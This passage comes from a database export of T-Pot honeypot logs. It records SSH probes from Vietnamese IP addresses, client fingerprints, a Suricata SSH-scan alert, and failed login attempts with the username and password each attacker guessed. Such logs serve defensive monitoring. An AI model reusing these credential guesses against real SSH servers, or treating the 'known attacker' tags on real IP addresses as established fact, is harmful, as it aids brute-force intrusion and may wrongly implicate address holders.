ha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39610, "dest_port": 22, "timestamp": "2021-09-20T11:13:46.802426", "@timestamp": "2021-09-20T11:13:46.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27250	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:46.802742+03	2021-09-20 14:15:14.331646+03	{"_id": "BgbpAnwBvYTbRNuEeSYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ab9879e1ebe8", "@version": "1", "timestamp": "2021-09-20T11:13:46.802742Z", "@timestamp": "2021-09-20T11:13:46.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27251	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:46.994831+03	2021-09-20 14:15:14.333644+03	{"_id": "CAbpAnwBvYTbRNuEeSYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "46dcbe05a60d", "@version": "1", "duration": 2.876279830932617, "timestamp": "2021-09-20T11:13:46.994831Z", "@timestamp": "2021-09-20T11:13:46.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27252	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:47.423005+03	2021-09-20 14:15:14.334644+03	{"_id": "CQbpAnwBvYTbRNuEeSYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 8 seconds", "session": "4964a6a48908", "@version": "1", "duration": 8.358079433441162, "timestamp": "2021-09-20T11:13:47.423005Z", "@timestamp": "2021-09-20T11:13:47.423Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27253	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:48.133272+03	2021-09-20 14:15:14.335646+03	{"_id": "DAbpAnwBvYTbRNuEfCY8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32776, "timestamp": "2021-09-20T11:13:48.133272", "@timestamp": "2021-09-20T11:13:48.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27254	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:48.103187+03	2021-09-20 14:15:14.337645+03	{"_id": "DQbpAnwBvYTbRNuEfCb0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:32776 (192.168.176.2:22) [session: a4271fb33a4e]", "session": "a4271fb33a4e", "@version": "1", "protocol": "ssh", "src_port": 32776, "dest_port": 22, "timestamp": "2021-09-20T11:13:48.103187Z", "@timestamp": "2021-09-20T11:13:48.103Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27255	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:47.981046+03	2021-09-20 14:15:14.338645+03	{"_id": "GAbpAnwBvYTbRNuEfCb1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/!@] failed", "session": "ab9879e1ebe8", "@version": "1", "password": "!@", "username": "root", "timestamp": "2021-09-20T11:13:47.981046Z", "@timestamp": "2021-09-20T11:13:47.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27256	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:48.470139+03	2021-09-20 14:15:14.339645+03	{"_id": "GQbpAnwBvYTbRNuEfCb1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a4271fb33a4e", "@version": "1", "timestamp": "2021-09-20T11:13:48.470139Z", "@timestamp": "2021-09-20T11:13:48.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27257	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:13:48.913491+03	2021-09-20 14:15:14.340647+03	{"_id": "GgbpAnwBvYTbRNuEfibz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:13:48.913491+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1992445746016339, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 55634, "dest_port": 22, "timestamp": "2021-09-20T11:13:48.913491Z", "@timestamp": "2021-09-20T11:13:48.913Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27259	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:49.198472+03	2021-09-20 14:15:14.343645+03	{"_id": "HQbpAnwBvYTbRNuEgCYl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55634, "timestamp": "2021-09-20T11:13:49.198472", "@timestamp": "2021-09-20T11:13:49.198Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27260	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:49.116967+03	2021-09-20 14:15:14.345646+03	{"_id": "IgbpAnwBvYTbRNuEgCbd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admIndian/password] failed", "session": "ab299821dfac", "@version": "1", "password": "password", "username": "admIndian", "timestamp": "2021-09-20T11:13:49.116967Z", "@timestamp": "2021-09-20T11:13:49.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27261	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:49.196311+03	2021-09-20 14:15:14.346646+03	{"_id": "JgbpAnwBvYTbRNuEgCbe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3f22bd74dc47", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:49.196311Z", "@timestamp": "2021-09-20T11:13:49.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27262	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:49.613016+03	2021-09-20 14:15:14.347646+03	{"_id": "JwbpAnwBvYTbRNuEgCbe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3f22bd74dc47", "@version": "1", "timestamp": "2021-09-20T11:13:49.613016Z", "@timestamp": "2021-09-20T11:13:49.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27263	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:13:49.475133+03	2021-09-20 14:15:14.348646+03	{"_id": "KAbpAnwBvYTbRNuEgibb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1992445746016339, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55634, "dest_port": 22, "timestamp": "2021-09-20T11:13:49.475133Z", "@timestamp": "2021-09-20T11:13:49.475Z", "event_type": 